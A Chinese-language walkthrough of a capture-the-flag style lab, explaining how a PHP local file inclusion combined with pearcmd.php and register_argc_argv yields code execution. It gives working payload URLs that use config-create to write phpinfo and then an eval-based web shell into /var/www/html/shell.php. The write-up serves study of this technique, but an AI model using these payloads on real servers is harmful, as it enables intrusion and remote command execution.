关于pearcmd.php完全不明白的可以看这篇Docker PHP裸文件本地包含综述 | 离别歌
本篇主要讲讲自己复现这个靶场时对这个知识点的理解,以及复现时踩过的坑。
进入靶场,有两个网页
index.php:
demo.php
index.php中,php源码非常简单,过滤一堆伪协议,正常做法完全做不了,但在下面的phpinfo中,可以看到register_argc_argv值为on,关于这个参数要知道两点:
1.这个参数开启是使用pearcmd.php进行文件包含的前提。
2.这个参数的开启,会让url中?后面的所有东西(也就是query-string),通通被解析成pearcmd.php的参数
由此也可以引出这个漏洞的利用思路--register_argc_argv=on的前提下,如果目标本就存在文件包含,那我们可以令其包含pearcmd.php(一般路径为/usr/local/lib/php/pearcmd.php),同时在url中,我们可以利用?后面的字符会被解析为参数的形式,为pearcmd.php传参。
类似与在命令行中执行:php pearcmd.php 参数1 参数2......
那么问题来了,怎么区分不同的参数?或者说,如何传入多个参数?url传的不同参数之间要通过什么符号分割?那就要看demo.php,通过下面几张图,很容易意识到是以+区分,而不是常规get传参时那样用&区分
那么现在,我们看一下pearcmd.php的后面可以接哪些参数
很多,网上能查到的利用的参数有两个,一个时我要用的config-create,还有一个是Install,见利用pearcmd.php本地文件包含(LFI)-优快云博客这篇。
config-create作用是可以将内容保存到对应文件,后续还要再跟两个参数,一个要保存的内容,一个文件的路径
就是命令行中php pearcmd.php config-create 内容 路径
在url中与“url本体?+config-create+内容+路径”等同,此处为什么要在config-create前面也加上一个+,同样见这篇文章最后利用pearcmd.php本地文件包含(LFI)-优快云博客
我的理解是一般命令中argv[]数组中的第一位,即argv[0]都是文件名本身,即pearcmd.php,只不过这里我们通过文件包含已经实现了这一点,但在写代码的逻辑上,还是留下了一个属于pearcmd.php的空位。
所以这道题,我们构造出payload
url:http://127.0.0.1:1600/?+config-create+<?= phpinfo()?>+/tmp/hello.php
post请求体:file=/usr/local/lib/php/pearcmd.php
然后就会发现行不通
原因是因为=,?等符号没有被url编码,被解析成路径了,所以要求加上/,而加上后再试,发现写入成功,问题是tmp一开始就被过滤掉了,所以无法包含/tmp/hello.php(这里选择/tmp目录是因为这个目录一般有完整的读写执行权限,包括一般渗透上传提权脚本也是在这个目录编译执行)
但幸好经过测试,网站根目录也有完整的权限.
更新后的payload
url:http://127.0.0.1:1600/?+config-create+/<?php @eval($_POST['cmd’]);?>+/var/www/html/shell.php
post:file=/usr/local/lib/php/pearcmd.php
但是因为浏览器会自动url编码,导致最后写入的php代码也被编码了,失效了
所以用bp抓包,在包中替换payload即可
回显一下子就清爽了
至此,webshell插入成功